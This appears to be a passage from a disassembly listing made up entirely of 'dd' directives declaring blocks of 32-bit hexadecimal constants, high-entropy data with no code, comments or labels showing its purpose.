dd 0AEF876Bh, 5F63A73Eh, 923A65D9h, 0EE3B9115h, 23A9E1A0h
dd 216AA8h, 0EF220A49h, 0B49A7813h, 91CB7DE8h, 2F8EEA7Ah
dd 351D5110h, 0C21F3A93h, 8AF4B507h, 55EC182h, 89E0F86h
dd 12270443h, 0FFEA444Eh, 0CC28A205h, 2DC5CBF8h, 88DE6E3Ah
dd 0FF2B45B8h, 0F733742Ah, 14613915h, 0B518CCC3h, 2E5F7A30h
dd 18C7A698h, 92744C98h, 0C345441Fh, 74989818h, 43C87F94h
dd 0FF2018C5h, 8547DF00h, 0C188260Ah, 20CF2703h, 39FAAE8Fh
dd 7008E8h, 0A1473DE2h, 81A43058h, 717C58C0h, 755EF8BDh
dd 0AF8ACBD1h, 0D7B21C43h, 426743EEh, 0AAB256DDh, 606DD2A0h
dd 0AB30A46Dh, 0F1AEDF30h, 83AEB5EAh, 0BE84B491h, 0EEDE83BCh
dd 229BB987h, 0B07E008Bh, 0BA81DDC4h, 5C2F080Ah, 54B3D517h
dd 0C0EEA541h, 6A42B01Ch
dd 0A80BD1E7h, 67643B23h, 2D1DEDDEh, 0FB8A0F14h, 2101ED7Ah
dd 8D05A62Dh, 3EEC576h, 75D85581h, 0BB159EA4h, 0EB8BAB8Eh
dd 0C4750F02h, 53C5E71Fh, 70674D57h, 1E14419Fh, 0B2BE1A50h
dd 51935EF6h, 32EDD204h, 71213A61h, 8398227Dh, 0C48A8EB3h
dd 0AEBB7DFh, 7CF8FAFBh, 4D00DD4h, 0D55AE9Fh, 0ABC5F22Dh
dd 0F828A436h, 130F77Ch, 0FDF9EBB4h, 0ED5D7F8Bh, 0F485A1E4h
dd 0E3E449A3h, 42AEF1E8h, 0BB96CF30h, 8922EB62h, 2F11C4E7h
dd 6396AF6Eh, 0A361B578h, 0C70BAA45h, 5CAEA77Dh, 95B44F9Fh
dd 0BFA0F2EFh, 0BFD6609Ch, 0AEF2A99Fh, 9E476E9Eh, 8124E7B1h
dd 0E52D5860h, 46A1AEF2h, 0FDF1507Bh, 67748948h, 0AE31A0B4h
dd 9FFDE3B1h, 89151604h, 0F9B58708h, 20C4567Fh, 2475EF21h
dd 0C6A8BA89h, 18FF0ED8h, 0D26FE97h, 77AA18Bh, 816D00F6h
dd 9DC60356h, 0D05EBEC6h, 0A3A86BD8h, 7CDB5706h, 0D1A09DBDh
dd 0E342542Ah, 0F396D42Bh, 6F0077E1h, 26D0A813h, 3A1D5BC5h
dd 171C4574h, 0BD88983Eh, 0FBC8C2C7h, 0A4DADC64h, 0CA230B7Ch
dd 4DC71768h, 0FA337393h, 0A2AE9A06h, 10D3E669h, 4620EF3h
dd 130A49A5h, 0F604D07Dh, 186B074Eh, 1D9BC67Dh, 9EDCC16h
dd 41BD6624h, 3D28544Bh, 279430Bh, 0F96989D2h, 9CC0614h
dd 8C5547A4h, 30B1C535h, 0EF76F682h, 0EE23BC08h, 66CA11DEh
dd 4E83AD58h, 88ABA958h, 0A10C5A36h, 84324193h, 0E23A55F4h
dd 5482A96Dh, 4475C651h, 828C22DCh, 81A81578h, 182259DCh
dd 4B0E6166h, 52069469h, 0CA318Bh, 4A7FA273h, 0CC34D0A5h
dd 85137830h, 1477D482h, 0B429313Ah, 0CAD1988Ah, 5A648594h
dd 0F00C6045h, 445398C0h, 0CE19329Fh, 0C0F507E8h, 819E9245h
dd 966A9B60h, 0D71A0FF5h, 0ACB4E40Bh, 91045961h, 0FBEC25A9h
dd 77165165h, 0D3FAFAB0h, 0BA295FE7h, 0DA31885Ch, 50D79FAEh
dd 547D216Dh, 1183AD5Ch, 0D3EED111h, 155E08B7h, 5A70CC8Dh
dd 89DC6CBh, 3BC84075h, 827AC4F7h, 0F2FD988Dh, 0BE0590FDh
dd 0ABA36D46h, 2DC890D5h, 0CA2C8675h, 6A9F081Fh, 362C9377h
dd 2D562831h, 0C3D5ADDh, 0AAA066Eh, 19B2DDADh, 0BCFE969Ah
dd 2D0566BFh, 36FAE21Eh, 7850366Ah, 0CA1CB25Ah, 30BB3EC4h
dd 114C552Ch, 379B6C12h, 6D1F428Ah, 743BCE37h, 0F9E25679h
dd 2409EAB7h, 11D83B8Bh, 82A16F54h, 0B51C3E05h, 0D33F8B02h
dd 76D1C309h, 25CB5F70h, 47680DA2h, 0DF91EEE1h, 8EDA402Dh
dd 4168DB44h, 0D13AE4DAh, 0A2D59C6Ch, 0CC5549A5h, 0F2BA0322h
dd 77EF1A53h, 57668FA4h, 75847CC2h, 7D4B95FDh, 828D2BADh
dd 91C9A441h, 57360469h, 4F7A228Ah, 352A689Bh, 0DB343DB8h
dd 168C359Eh, 0A29D29AAh, 5C388111h, 0A4477C16h, 0AEE9D52Fh
dd 428AD095h, 9F479250h, 4CF6970h, 1EC18018h, 6A210000h
dd 0B43BEF40h, 35B47D8Fh, 1E37983Ah, 0D17B10B6h, 62FAAF96h
dd 0E821C88Dh, 28CF269Ch, 391655h, 0F1472F15h, 0E7AA1077h
dd 3CE54E15h, 0F07DE5CEh, 4158455h, 0E60096BEh, 74995E5Eh
dd 9B4C8EEDh, 0B03E5EBEh, 59AAED04h, 5C0F6FF7h, 2B7EB93Bh
dd 74E5982Ah, 0C54211C2h, 0C6AED906h, 7E0DCA84h, 8678C451h
dd 42467C8Ah, 82BD00D4h, 2F5F1581h, 66846110h, 28C25181h
dd 1F62F77h, 0EFB248E8h, 6432D954h, 6A5E20AAh, 574A88D5h
dd 24913D94h, 91D92B16h, 995E74B1h, 4338DF80h, 8A75A473h
dd 7D125F44h, 0F9BD29D9h, 0A528051Fh, 4A605A26h, 0C22DCBFDh
dd 0C1F867E2h, 0ADEFC9BCh, 0A3FE1B6Eh, 0BA5DFC07h, 8A03281Ch
dd 407CDCFFh, 337F0DF3h, 5059FFCDh, 746D1FF9h, 60677D8Fh
dd 30E825A7h, 0D98748Eh, 0E0A3FFh, 4998BE8Dh, 31891847h
dd 31CA607Bh, 0B114B2BEh, 58581982h, 0B46C55DFh, 0C3F241C5h
dd 0F8D038CFh, 87EC9E81h, 1E59D61Fh, 63808630h, 0C55DD569h
dd 79C5EAEAh, 5BF8FE62h, 46FEFCC9h, 4C07893Fh, 46019C7Fh
dd 92AE47F2h, 0ABD18BDAh, 0E12E11C8h, 0CFF9BDA1h, 0AB2F0A8h
dd 43F073B3h, 39169573h, 0F6B09D48h, 0FD9A24F4h, 0FB30ED8Eh
dd 0D9B32781h, 24A142E5h, 9DCAE026h, 766BAE9Ah, 0EC3AAB9Fh
dd 56FC38CAh, 0D80EB68Ah, 8A62962Dh, 0B1432E8h, 0DEF261B6h
dd 74657E54h, 0D2E04F9h, 305EDA7Eh, 0E028D262h, 638AB8C4h
dd 200D4FB1h, 0BA0EF929h, 5294AE0h, 98B232EDh, 65BB4876h
dd 0F4DBD198h, 4D0F6D11h, 0C6A445D5h, 0BA9F8D3h, 0A96B6E5Bh
dd 9FFD8C47h, 60B0EDC9h, 8E4C1C58h, 0E6A989B6h, 1A2F9B68h
dd 348FA1FAh, 68EC3BE6h, 330EE5B9h, 478DECAAh, 0C359978h
dd 4F33DA2Eh, 0B58C3990h, 230AE9B6h, 13CFADEBh, 0F54DCB57h
dd 34DE3279h, 0D4843490h, 3C4DAA26h, 0B4D8DB49h, 4F13B494h
dd 7992CA6Fh, 29B669A2h, 0A5094F34h, 3C2ABD37h, 0D34DB481h
dd 37A29E7Dh, 3F092C15h, 794788E4h, 0DBA8EA52h, 0C04CF42Bh
dd 7213C039h, 83F9E226h, 95D83A08h, 2EBCC67Fh, 8C18EBFEh
dd 793BECE9h, 0C1980042h, 2A9909Ch, 0F176AB6Bh, 7C643D67h
dd 793BF456h, 3F9841BEh, 0F8447D2h, 7C17844Ch, 12D50FA1h
dd 0A7D55652h, 1199067Fh, 4BEB9570h, 0BFA459F3h, 84D4DB4h
dd 1590D34Dh, 0C928EFA7h, 6E3F37B5h, 0D54DE7AEh, 4EE54885h
dd 0A4DCF14Dh, 5404D780h, 7D1C7E95h, 45181C3Eh, 7FE7DE1Dh
dd 2B41245Ch, 205C4C09h, 5B4DEB38h, 883098C7h, 58C7B24Eh
dd 9BC51E70h, 8C05DB9Eh, 1592D34Bh, 0F0C42EA7h, 1B4D1D34h
dd 53C5DB4Fh, 79970FCAh, 0B565DE9Fh, 0DA7E3666h, 974E30EEh
dd 0B6E3910Bh, 0DAC434A2h, 0ADAC27ABh, 0A3DB62E8h, 82454D8Fh
dd 418B0459h, 0A668C64Fh, 0A3CF0440h, 8D2C7C63h, 881BA2A9h
dd 1F8807BAh, 5DEB1D1Ah, 393A1B4h, 958645E6h, 0D4281829h
dd 0A84D1216h, 0A531006Dh, 1F9C8FA7h, 0AFB598ADh, 169C4998h
dd 0DB341966h, 3542D2A6h, 7565F198h, 518B5A09h, 7A79F9C2h
dd 3530354Fh, 0D501FE4Dh, 3D6FC4F2h, 0F2D1B442h, 574EE8F6h
dd 17D881A8h, 14817D16h, 16570DADh, 47587A90h, 362444AFh
dd 4C9DCDB5h, 294E6F5Dh, 749E4541h, 8C4C2A2Dh, 0C4265A21h
dd 0BA6DEDA9h, 2D10DA9Ch, 1CE2A54Fh, 34DB460Fh, 301D279Dh
dd 0DD95C29Eh, 0E0E38BBDh, 14C9F5F3h, 0B7960B2Bh, 57B9DD1Ch
dd 79DD6F5Bh, 967C7B61h, 61661D45h, 5FD1FD03h, 0B1C68D68h
dd 2A59A3A3h, 6BA35579h, 0CCE3FAC8h, 0A46C0C2Dh, 31942ABCh
dd 0A8CCC077h, 9896CC3Eh, 0E1F5E34Ch, 77B95C57h, 0A9329896h
dd 0D1BC09E8h, 0E557A542h, 62756273h, 0E7BE9CCEh, 0CDC2759Fh
dd 0A4D5626Bh, 0D5843A3Eh, 8ECB721h, 1B3F07A8h, 8FACFF66h
dd 3F07DB87h, 95F4D0B4h, 47E29F05h, 0B4BE0A0Fh, 0C5D5EBABh
dd 0B8F0A42Bh, 0F1F5734Ah, 97D148A5h, 0E96588D5h, 1F09B172h
dd 0C515F42h, 0C0CB6AA1h, 0DE89A525h, 987A1743h, 91BBBEB1h
dd 0C5C13E02h, 94820F5Eh, 7794C522h, 0C92F7CAAh, 8BE8E77Fh
dd 6B6AD11Ah, 0A2FAFBAAh, 0ABFE8C2Ch, 0ECBE1E2Dh, 77383054h
dd 475290D7h, 5E83C894h, 0EB45F071h, 42EAEF6Bh, 16CA72FAh
dd 804C2FA4h, 897DFD4Dh, 0B44E48D4h, 155E15E4h, 862FE234h
dd 0E2FA3DD6h, 3896A2E8h, 0A77D496Ah, 97D18011h, 660369FFh
dd 1F797C5Eh, 885618F8h, 4C8F956Ah, 4C57F4BFh, 7A6CC1C9h
dd 0E3A6E45h, 0AB9F8B91h, 663BFA24h, 6E7FCB45h, 4D644157h
dd 7CA54682h, 7F113505h, 791E96D4h, 7947D9D6h, 2D475FEAh
dd 4DB674BDh, 14E5F195h
dd 61477F05h, 43E795E0h, 42815A85h, 15D653C0h, 0A5FE0B85h
dd 595798BAh, 0AA2F5126h, 0BF023B46h, 59883E4h, 0A95E23BBh
dd 8886064Fh, 0BE5576D5h, 62D87760h, 43BB86C0h, 314A1548h
dd 94B8088Ah, 0FCA2ACA6h, 88C2ABE1h, 4983AB85h, 6C952130h
dd 1623FFB1h, 0AC3C3347h, 0C0328E89h, 29AE8F29h, 0C975895Bh
dd 0F5987301h, 7FB45579h, 0AED021D1h, 0A2E8D422h, 0A26182CBh
dd 81E299CFh, 0CD22ED2Eh, 0E23B0201h, 0F36661h, 0ECB88D26h
dd 0E2C001A4h, 118A473Bh, 0D8CD029Eh, 58318015h, 77C5477Ch
dd 0B77C827Ch, 33F18014h, 89C65818h, 0E09FA165h, 1E770739h
dd 18951850h, 5D6DC583h, 63BB47F9h, 0A6702301h, 70374AA8h
dd 6F9263B3h, 0E8E5D6C7h, 3DEB73h, 15F80599h, 89E4DCE0h
dd 3EA2C86Ch, 0C08E381h, 2D0660h, 0B4ABAEAh, 6D946467h
dd 401AC340h, 4026796Ch, 6D7D50F9h, 100C5911h, 774895E8h
dd 0DB2A61EDh, 0A918E603h, 7A084F68h, 63582AC2h, 0A25845E0h
dd 0A0120C4Bh, 3E0AB04Bh, 4436068h, 4AE06074h, 64BFE003h
dd 0E6CE380h, 768CDDACh, 8BE6521Ch, 5FC471F6h, 80B90496h
dd 7635A9A4h, 4ED17C1Bh, 96A4B89Ch, 97AE6C08h, 0AE6FAA0h
dd 0C92AF8D0h, 6159034Ah, 181C11E3h, 32691F48h, 2A1E6493h
dd 0CA7C4058h, 87C92F94h, 45B1936Bh, 0FE5E1187h, 0C61860AEh
dd 0ABFBE82Bh, 0BBDC7E51h, 8866EC9h, 517B74D2h, 0DC96DD2Ch
dd 0C2CE324Ch, 498A0480h, 1E008D68h, 0CFDE6F1Ch, 0F1415655h
dd 0D770BACBh, 34076ABh, 0DBBC1B0h, 282E6192h, 6A374226h
dd 0C10AF10Ch, 1DCAE4Ch, 0E6608C0Dh, 0D09E6580h, 0A3A018h
dd 0CCC570B6h, 0A1641A0Bh, 743286CAh, 9A83498Eh, 0CC980E70h
dd 11D26DCBh, 8D386A5Bh, 0C919D89Bh, 0C9E200ECh, 1F93857Fh
dd 82C561CDh, 1121421Fh, 2300025Eh, 21EB5CACh, 781D5A2h
dd 0D3037DE0h, 0EC2482B8h, 968600D4h, 38A1EE85h, 9A91C8A2h
dd 1225C231h, 0DB1A00F0h, 0F72EFCA0h, 1FEEA9Dh, 0E80E8383h
dd 4A312C2Bh, 65A33643h, 7A316981h, 0F213AF15h, 27CA1A7Bh
dd 0EB996892h, 0A10C16ECh, 0E26B528Dh, 0BF579E38h, 14DE287Ah
dd 0E6C1D5FAh, 0F38A9B22h, 15514A0Dh, 0B9CE8A95h, 8568D65Eh
dd 0B032950Bh, 0CD18A2ACh, 5D71FB6Dh, 7B0899F0h, 5127797h
dd 9C4F455Ch, 0D13F0C4Fh, 0A5D66EFBh, 0CAB74417h, 4406F82Ah
dd 0C0972A22h, 8290EB50h, 8DB5862Eh, 0E8BFAB5Ch, 57E0EE71h
dd 725D4042h, 9FAEA0B2h, 0E3C86A17h, 9805DC82h, 6F82AF2Fh
dd 1BF09884h, 0B15926B1h, 68492059h, 0EE32815Dh, 908A7193h
dd 12F37673h, 0EBA4D896h, 0A2CD8099h, 62553130h, 63EF557Ch
dd 0FDCCE588h, 0AE633760h, 5F8D3312h, 29A15159h, 0D68B7C8Ah
dd 0D16532F1h, 39DDA97Fh, 0A6FC5ECFh, 0E5F8818Ch, 0BE5E2CC0h
dd 0E2BE57CBh, 27FCEDC8h, 218566F3h, 0EDBC7819h, 434158D0h
dd 632E7579h, 5D789E57h, 0E33EFE20h, 160FE845h, 28B6B479h
dd 7E5691FBh, 5B9199F5h, 0B547E774h, 86A283B4h, 698C2D1Ch
dd 0E639258Fh, 3D5A4CD0h, 5AD87416h, 68C120AAh, 1CA4CF12h
dd 0CC15952h, 696D8848h, 5D2917D2h, 3AB2A51Dh, 266B5481h
dd 0E460667Bh, 0C8F2CA65h, 3B819543h, 0C1A1970Ah, 813F60AFh
dd 4E834881h, 38859108h, 1BFB2A2Dh, 0E2804A2Ch, 0ACA0014h
dd 0C25C3344h, 68C6ECB3h, 0E0DDEE90h, 0C5531630h, 8A443101h
dd 35E27E98h, 369149FFh, 0E92B0FA1h, 0F93C4A04h, 35E89FAFh
dd 1DBE8ABAh, 0FA8E0893h, 0DCF559DBh, 0EAAA1439h, 73926E33h
dd 0CA8E01B4h, 0B8AFAF9Bh, 696EACC9h, 0C4CB9682h, 0C0950BE2h
dd 4356C17Ah, 2A5288A2h, 79801540h, 1AF78700h, 0AA86D276h
dd 998D58CAh, 7E0E74C0h, 2DB5A241h, 16F3B999h, 2962B45Fh
dd 2DE428C7h, 0CD9A22BAh, 2F8FBCBAh, 5CC1470Fh, 0E8E392C1h
dd 4C7534E0h, 7B1C161Dh, 143B29D2h, 5C78509Ch, 2C408DD2h
dd 5D86281Bh, 98EE37D1h, 3AC28C34h, 0FC21400Ah, 18A6F290h
dd 0D6162576h, 0EA380619h, 0C6A8131Ah, 9A0EF3B8h, 52B8C102h
dd 8C175BA9h, 3BF6A1DDh, 0DD98A2ABh, 0DCCD180h, 524821C7h
dd 35538631h, 631C1394h, 3BF56FF8h, 959E9022h, 0A93C9A96h
dd 5D68C67Fh, 6B95C3D6h, 759C079Bh, 0C38DCB92h, 450E7148h
dd 2A98FF53h, 0E3064C87h, 0D4FD263Ah, 651D9175h, 0E5D2A0A7h
dd 5355EF5Eh, 377C6B71h, 9F7947D4h, 95078A5Ah, 39F57ABFh
dd 74C2D450h, 0F571172Eh, 74CA9650h, 0E6319232h, 2603D9FEh
dd 0FB29495h, 0BD13C2F8h, 482F4AFDh, 5695F604h, 8734010h
dd 78AA236Ch, 0EACBEF62h, 95396EB8h, 0E968E2Ah, 0CC30135Fh
dd 782368E6h, 56F7F88Eh, 50525551h, 0F8B75255h, 4ABF9953h
dd 8EA81A84h, 0E4EFE495h, 8E4CF4CBh, 0D3CC4232h, 0B0D748D2h
dd 97CE0758h, 743451EAh, 9B46E4B4h, 0DD662A54h, 6F1F1D67h
dd 9D382633h, 0E3FA6544h, 0CC073D26h, 0CADCD5DBh, 54FBB2F8h
dd 0FD68B603h, 0F8DBA4C8h, 345781AAh, 278B27D1h, 0BBE38FAFh
dd 5BAD4509h, 2E7228A3h, 557CC8E7h, 0F0500B76h, 26734113h
dd 34418DEh, 980E688Ch, 2E66983Ch, 6C11983h, 6184B4BBh
dd 9D87B8D2h, 38C0601Ah, 9053DCEh, 0DBBC705Fh, 74E2568Bh
dd 36A85D84h, 26DD7AF9h, 89011E2Ch, 0C05395DAh, 8A3534EBh
dd 0BD508B80h, 4451048Eh, 9F0562ACh, 9E656639h, 0EC660775h
dd 0D16407B9h, 57E7E4D2h, 0D4CE650h, 73C99137h, 0AB59284Bh
dd 0F5814220h, 28E04431h, 3068DE62h, 8FEA3D2Fh, 5B956F59h
dd 0E675E421h, 0E3E1D3BFh, 8E391E04h, 0FD36758Bh, 0BA273C6Fh
dd 73480FA9h, 0EE1AC180h, 8C5DFAC8h, 0FA9B4C30h, 9E111BE0h
dd 49D8A302h, 0A5FB7300h, 63EA983Eh, 93288C12h, 0A8DC5FA1h
dd 0CF36E061h, 0DA6118C0h, 4EC61262h, 0CEBDF537h, 7D6B11Eh
dd 57ABD15Fh, 0DD217674h, 27736480h, 0F692CBE8h, 34C52436h
dd 6E63CA4Eh, 1A853012h, 0E2E80D6Ah, 50C5C5Fh, 0BBCA8AEDh
dd 0F77B17DEh, 0DCFB82D9h, 4D7F9B65h, 460A1373h, 0C2A4418Dh
dd 30313AA2h, 4126CBABh, 0F0C2D39Bh, 26235F9Bh, 7E114229h
dd 0F9192FCBh, 55EDCDECh, 6AFC83B6h, 0C9DF5BDh, 85EC6736h
dd 5A8B21D7h, 3C2862F5h, 0F5F8B862h, 0BAEFE88h, 0B90077CEh
dd 62CFCBF8h, 16A989B8h, 0A303E609h, 2D16316Bh, 0F8464B4Eh
dd 0D6F9C62Dh, 0F7B6D8B4h, 49F2278Eh, 37A9B6E1h, 0D4A87FE0h
dd 0E6299FE4h, 5CA67F91h, 6DFC79CEh, 0AB167F93h, 6BE50982h
dd 895625EEh, 8718C398h, 124F7F0Dh, 0CAA23ADh, 0D6BE5AAAh
dd 0E5B705FAh, 7EA553DAh, 958DA55h, 0A5DD27FEh, 6E931DB7h
dd 149C53B5h, 2EB40161h, 0AF376B40h, 116F55A5h, 0FD249E52h
dd 0BFC55E8Dh, 947FCE62h, 0E525D6A3h, 0CADFCC25h, 0F27B966Fh
dd 3716F0DFh, 0E28E4776h, 0FCEFFA7Ah, 0ADFBA9A5h, 0B97016DCh
dd 3052B604h, 0B5428ABBh, 0F666A9FCh, 0DA519F11h, 3F0FB39Eh
dd 0ACB66DEDh, 398BF9AEh, 0DF8BCD6Ah, 5D416FCBh, 9B624412h
dd 5AA8754Ch, 0D0FC4EF0h, 5F1BA4E9h, 78A92689h, 0C943A452h
dd 0FD2BA031h, 770012A4h, 0BE0B476Ch, 270212D2h, 0C3FF0346h
dd 44767C73h, 1EFE41FAh, 0E0EADA78h, 0D779C8E6h, 724C232Fh
dd 0C8BE4BBFh, 0FE1AF75h, 2FD66663h, 1CFC445h, 32CE1371h
dd 744313E2h, 1A8B9D07h, 1CD7B143h, 79D15A3Ah, 529BDC3Eh
dd 0C6DD8C51h, 10455CE1h, 9F7018EAh, 0FF0B413Bh, 2063D259h
dd 0E977A7B0h, 8A7B0857h
dd 82A88361h, 9F4501A4h, 0D6108432h, 0BC5EC81Bh, 54EFE7D2h
dd 3BD50C87h, 122F16F8h, 738C5A8Ch, 7D0F3BD6h, 1B8E11FFh
dd 68AB436Dh, 99956B0Bh, 5C90A52Bh, 80071B44h, 0E8260E0Eh
dd 0F4563D8Ah, 0B5B4A185h, 34657B83h, 882E6918h, 1017C16Ah
dd 58884D84h, 0D9A53997h, 0B03B1205h, 543AB62h, 40D160D3h
dd 1450CC9Ah, 245AEE11h, 6983EA50h, 29800C84h, 57CA4520h
dd 18052D19h, 0D684C5Eh, 7AB9A2AAh, 0F031CE31h, 112DBA46h
dd 2BF66D86h, 0E211906h, 8A2A8607h, 0DE451BE8h, 1A8F206h
dd 34E91DE4h, 6090DD6h, 0C1F2A298h, 8B269C54h, 2C16BCBEh
dd 32144398h, 0F43489E8h, 26097605h, 0B9E8134h, 2FA39026h
dd 0BA738CB0h, 110B05C3h, 76D1AA53h, 0ED7E288Dh, 0DC321F8Bh
dd 3ECF5FE7h, 0C0A27827h, 63025FACh, 92562CB8h, 0E3A92CEBh
dd 0A1D27132h, 0E212EE54h, 0AB334EC0h, 2B5DE063h, 0ED829C28h
dd 2EC61830h, 9A473976h, 30E7E249h, 595F3F4Ch, 2F4B56A3h
dd 7AEC61CBh, 8C6E39AEh, 4F628C17h, 0E0019375h, 9E30FD3Ah
dd 9009B8C5h, 0BA8080F4h, 0C8FF77B4h, 0B322773Bh, 2BE630CDh
dd 4628BC4Fh, 0C4E6519Fh, 0D18D322Ah, 9F400C6h, 0F5226CDDh
dd 0C2366D88h, 8314294h, 94C26EF9h, 3A15D9E2h, 25759648h
dd 0EC2F7B47h, 0EDE42CDCh, 0FF17F1DAh, 0C8DB5764h, 0B0C9710Fh
dd 8B2E366Ch, 77C66A3Fh, 4FCA3B71h, 13374BDh, 0F30C7C6h
dd 0BD284E10h, 0D5741A2Dh, 60391C86h, 9E45CEDCh, 3F2F15D2h
dd 0F5B1CFDBh, 3123A5BCh, 0A0308437h, 0B3F8DEB7h, 0A6B3B3A6h
dd 6FD8B645h, 29CBF88Fh, 0B3C40DC6h, 391C57F5h, 0A9660536h
dd 0E82A55D2h, 2991838Fh, 4C5D773Fh, 0A9C50B4Bh, 740FD8FCh
dd 0E27469CAh, 0EA71B969h, 3A0E1673h, 51453CFCh, 18618B7Eh
dd 0D687EE87h, 0C58996ADh, 5404CF1Fh, 0E44E186Ah, 7A9ACFD2h
dd 142ADDD8h, 0AEF0A8Ch, 0A9CC2CDCh, 17A012B3h, 5C25A01Bh
dd 92B24C95h, 0C0E81BD8h, 8400548Bh, 4B73ABB0h, 0FE8BD2ABh
dd 603021C8h, 0A02A2D0Ah, 0E23481BEh, 9E81995Fh, 60966984h
dd 124C2175h, 8D8080A6h, 4D848530h, 0ADAB86h, 0C61DF86Eh
dd 7981D6B5h, 62B0C60Ch, 0E564C4A7h, 448B960h, 51B7DCDAh
dd 818E1862h, 0D2E20971h, 549B0380h, 55C855DCh, 5061FDFAh
dd 4CE8994Ch, 0F35E202h, 0D66C619Dh, 97517EC7h, 0EE220C5Ch
dd 1CE7A5EEh, 0AF895A2Fh, 165C8309h, 4BAD778Fh, 0C1B21FA3h
dd 22CBEC2Ch, 0E750A306h, 795DB940h, 97EE5888h, 0D6571BE9h
dd 115DBAC2h, 0D2ABEE44h, 0AA83E326h, 0DE9025C8h, 0B30EDB3Ah
dd 65C4EF36h, 0DEEDE2AAh, 3DE2781Bh, 0A5690958h, 2742F1A3h
dd 0E0DCE4FAh, 0B9541146h, 0D6FA9A8Dh, 0B3CD268Ch, 28263ADCh
dd 0E01B246Fh, 130CE7D1h, 931A4581h, 4138BA3Dh, 13776B30h
dd 41D66830h, 8803698Bh, 1236C3F2h, 3CDC4CD4h, 21972837h
dd 0FB7E1B9Ah, 91C54FB0h, 0EF469571h, 4496B036h, 0B023D782h
dd 62C34048h, 2E5D77E4h, 0EE54AC46h, 4CAE7989h, 4B5CD15Fh
dd 5D2FA02Bh, 48ABCA03h, 6A036A0Ch, 3318CC06h, 1CD45CBAh
dd 0C23026C4h, 3E531F31h, 4C50FCA3h, 89A43807h, 1D2D8305h
dd 9AD54F98h, 0E60C11E9h, 59F5CBD0h, 0F12DF297h, 11D8C416h
dd 487AAEB0h, 0CD38FB33h, 5C06EF2Ch, 0F846B650h, 526F8349h
dd 0ED226092h, 28199AA5h, 0E05D580Dh, 8D0D32A0h, 3141DA25h
dd 2334AB44h, 0A9127ED5h, 0B873C9Ch, 713033E9h, 7B93F100h
dd 0B3957D21h, 99570864h, 0E3ACD075h, 0E3214549h, 0D6716CBEh
dd 277FA671h, 0CAEAED02h, 35BF5A06h, 0D1183BAEh, 886DA7A0h
dd 2FDC6549h, 81DEA38Ch, 0A1DFACAh, 50A5CABBh, 14E63457h
dd 4631519Ah, 54576C15h, 4555947Fh, 6088502Ch, 9FF0AE74h
dd 0A28CF5D6h, 0AE289BD8h, 12B388B6h, 8D3EC9CCh, 12B802C2h
dd 6CA2FF6h, 0FAD22C2Ch, 0C8443E78h, 0C39DD4BAh, 0CEF0BAC7h
dd 0E43D4442h, 2C091A2Eh, 14203809h, 0B211CFA9h, 378B12AEh
dd 0C82AF740h, 4E612FF6h, 0E41BA81Dh, 0BEE094CAh, 0E4FA5D6h
dd 1BCDE34h, 0E622B8AEh, 44F55D14h, 0E2471657h, 5DFF0C2Fh
dd 1C4D81BAh, 0A2232C68h, 0B31E2229h, 10FB86EAh, 7E1FA5A2h
dd 0CB508BBEh, 146C491h, 0F718C6C4h, 25E40A6Dh, 7111B715h
dd 31FFE62h, 0E453A1BBh, 88EAA211h, 0FAC1E084h, 5751BA93h
dd 0E0B3E926h, 0E97DF47Bh, 130B8A02h, 55A38308h, 70EDA30Fh
dd 4D1149CEh, 0EF7876CEh, 7FB76922h, 1FC41904h, 831A773Ah
dd 50E774C5h, 15538829h, 4BCCA255h, 71AF037Bh, 240257D8h
dd 4C78AEAh, 0FD22DC9Fh, 0C5E150DBh, 0BFB03DF8h, 0F2F04299h
dd 0BE1A0782h, 8C03EFDEh, 0EF484C30h, 29D34E2Dh, 0A7F19E7Bh
dd 0DA3C030Ch, 8250D84Fh, 6230C0F3h, 189EA9Bh, 8E6F468Bh
dd 8BFF973Ch, 8B0B4208h, 35BA3D49h, 0C3F67533h, 4A6628E5h
dd 0FE238803h, 0A6666942h, 5A998064h, 8CCAD45Fh, 42FE8330h
dd 5EDA6619h, 30802294h, 0DC4798C3h, 980A8093h, 0A61B14CAh
dd 0B981D4CAh, 62A8860Bh, 0C02CC49Eh, 6BBEBEC5h, 0C4B8FDA4h
dd 1C00496h, 298FC091h, 0FC9A594Fh, 201E2553h, 0F81204F6h
dd 37DA0D04h, 495D77C7h, 20A0D01Ah, 648C5026h, 81132CF4h
dd 59748A32h, 17642F51h, 6456FDA2h, 46637F34h, 0F65CEB71h
dd 6F73AC80h, 3379BA8Eh, 0A35966CAh, 97C680FDh, 0C2300C26h
dd 470175B0h, 8C03372Eh, 8F23751Ah, 0E523E51Ah, 0CC264EA9h
dd 0A11EE47Fh, 9ABF228Dh, 3FAA672Fh, 8967A40Dh, 47F84418h
dd 9B572097h, 0F139D1C8h, 20D4CCADh, 0C4FCD90h, 0B9DC2C03h
dd 0A450E35Bh, 0BADE722h, 965223Ah, 4A976CBEh, 0D0C475FEh
dd 0A9A7A8E9h, 11E0F975h, 0BFC93087h, 0E78BC0E7h, 0A7026E6Ch
dd 4B69D46Ah, 4B4606E8h, 0E8AAFC47h, 56D7D39Eh, 98E5E8FAh
dd 0D660F151h, 0AF7954BBh, 26953451h, 0C0D39E83h, 0CE62AA24h
dd 4AC436C5h, 7DDFA1B2h, 80DB02C0h, 873B6D3Bh, 3081D8C3h
dd 3C75E615h, 231215D8h, 0C363568Dh, 747D5E4Fh, 353B0905h
dd 6883745Ah, 0F24D7FD4h, 3A19078Ch, 97B89E94h, 0C1B66C06h
dd 4FE2B766h, 6A3A0394h, 0F5FEFA46h, 4E670481h, 0A950CCFDh
dd 56DE3D14h, 0D896196Fh, 7F554092h, 1F064EA2h, 729CF610h
dd 31493588h, 0C7FB7DFh, 579E5213h, 6CA85DABh, 0EACD4D72h
dd 18311228h, 4FA0A654h, 0BFDE72D0h, 76A7EF8Fh, 82ACBAF3h
dd 4ECFA9B1h, 0CA48C1AAh, 0D1840DB5h, 7AE4C1E3h, 3CB05688h
dd 2DAC4C12h, 0BBD73245h, 0B5C41238h, 1DD30F3Bh, 0A22B8D9h
dd 5DD5D6ACh, 778C9798h, 0DC719291h, 753B1595h, 885FE0Bh
dd 0D58C8F3Eh, 69EE954Fh, 0CCC129DCh, 959D9B20h, 0F2D27F65h
dd 0CA9FDB20h, 2D20FE85h, 45DC4534h, 4D0BC8DFh, 0C79B7AB9h
dd 80873E88h, 10F259E0h, 81802AA1h, 0DF9FAF96h, 1344E833h
dd 2176437Ch, 0DE9B957Eh, 808EEE33h, 5BA63452h, 1FC1D66Ch
dd 3BF10886h, 0CA071054h, 0EAFEC65Fh, 21FBF536h, 19ABD828h
